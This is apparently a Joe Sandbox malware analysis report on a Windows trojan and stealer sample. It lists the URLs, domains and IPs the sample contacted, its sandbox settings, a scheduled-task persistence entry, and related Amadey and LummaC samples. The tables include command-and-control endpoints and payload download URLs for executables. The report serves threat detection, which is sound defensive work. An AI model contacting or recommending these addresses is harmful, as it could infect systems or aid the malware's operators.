http://185.215.113.43/Zu7JuNko/index.phpcoded	100%	Avira URL Cloud	malware
https://mindhandru.buzz/ts	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php4087001	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpUserK.sx	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpE.ax	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncodedB.hxt	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apip	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500	0%	Avira URL Cloud	safe
https://pancakedipyps.click/api0ra	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncodedn.Tx	100%	Avira URL Cloud	malware
https://pancakedipyps.click/apiI	100%	Avira URL Cloud	malware
https://mindhandru.buzz/a	100%	Avira URL Cloud	malware
https://pancakedipyps.click/api4	100%	Avira URL Cloud	malware
https://mindhandru.buzz/U	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpJGAx	100%	Avira URL Cloud	malware
https://pancakedipyps.click/otbktJ6	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exe$	0%	Avira URL Cloud	safe
https://pancakedipyps.click/PxlFar	100%	Avira URL Cloud	malware
https://mindhandru.buzz/O	100%	Avira URL Cloud	malware
https://mindhandru.buzz/B	100%	Avira URL Cloud	malware
https://pancakedipyps.click/IT/OEL$	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pancakedipyps.click	104.21.23.76	true	false		high
mindhandru.buzz	104.21.11.101	true	false		high

Contacted URLs

Name	Malicious	Reputation
pancakedipyps.click	false	high
http://185.215.113.206/	false	high
curverpluch.lat	false	high
slipperyloo.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
bashfulacid.lat	false	high
https://mindhandru.buzz/api	false	high
https://pancakedipyps.click/api	false	high
wordyfindy.lat	false	high
shapestickyr.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
talkynicer.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/SuR8aH	14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://pancakedipyps.click/api$r	14dd9bf3c4.exe, 0000000C.00000003.2209163417.0000000000E56000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpT	skotes.exe, 00000007.00000002.2559166962.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/steam/random.exeh	vVJvxAfBDM.exe, 00000000.00000003.1624672739.0000000001475000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500000.1&cta	vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phprG)x	skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/gNeaSGx	14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_f6f292994d7c60be109e4c185cbc03032d36d17160d4e639	vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe84760	skotes.exe, 00000007.00000002.2559166962.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exe	vVJvxAfBDM.exe, 00000000.00000003.1624537866.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpC	skotes.exe, 00000007.00000002.2559166962.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000007.00000002.2559166962.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2559166962.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/)	SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpq	SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/(	SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/	14dd9bf3c4.exe, 0000000C.00000002.2552148901.0000000000E07000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2209192000.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/api	vVJvxAfBDM.exe, 00000000.00000003.1459739003.0000000001475000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click:443/api	14dd9bf3c4.exe, 0000000C.00000002.2552148901.0000000000E07000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/L	vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/~	vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/apin	14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/apis	14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pancakedipyps.click/mv	14dd9bf3c4.exe, 0000000C.00000002.2554200777.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/ts	vVJvxAfBDM.exe, 00000000.00000003.1364942295.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364990220.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pancakedipyps.click/apimo8	14dd9bf3c4.exe, 0000000C.00000002.2554200777.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2209192000.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpE.ax	skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php.	skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php2	skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php4087001	skotes.exe, 00000007.00000002.2559166962.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpUserK.sx	skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncodedB.hxt	skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	vVJvxAfBDM.exe, 00000000.00000003.1624672739.000000000148A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/	vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apip	vVJvxAfBDM.exe, 00000000.00000003.1364942295.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364990220.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php/	SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500	vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php-	SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/apiI	14dd9bf3c4.exe, 0000000C.00000003.2130776528.000000000341A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pancakedipyps.click/api0ra	14dd9bf3c4.exe, 0000000C.00000002.2554200777.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/a	vVJvxAfBDM.exe, 00000000.00000003.1625095140.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/d	vVJvxAfBDM.exe, 00000000.00000003.1477417194.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	vVJvxAfBDM.exe, vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/api4	14dd9bf3c4.exe, 0000000C.00000003.2130926258.000000000341E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpncodedn.Tx	skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/fate/random.exe$	skotes.exe, 00000007.00000002.2559166962.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/otbktJ6	14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/U	vVJvxAfBDM.exe, 00000000.00000003.1364942295.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364990220.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpE	SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpJGAx	skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpqYo30zpOYVp	skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/PxlFar	14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/O	vVJvxAfBDM.exe, 00000000.00000003.1625002553.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1625196417.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1624672739.000000000148A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206	SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/B	vVJvxAfBDM.exe, 00000000.00000003.1364861497.0000000001475000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/IT/OEL$	14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.23.76	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581244
Start date and time:	2024-12-27 09:01:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vVJvxAfBDM.exe renamed because original name is a hash value
Original Sample Name:	b66c35386662acd2cbfe2f6518d0698b.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@13/7@2/6
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, PID 7996 because there are no executed function
Execution Graph export aborted for target vVJvxAfBDM.exe, PID 7496 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:02:16	API Interceptor	45x Sleep call for process: vVJvxAfBDM.exe modified
03:03:01	API Interceptor	809304x Sleep call for process: skotes.exe modified
03:03:30	API Interceptor	6x Sleep call for process: 14dd9bf3c4.exe modified
09:02:53	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
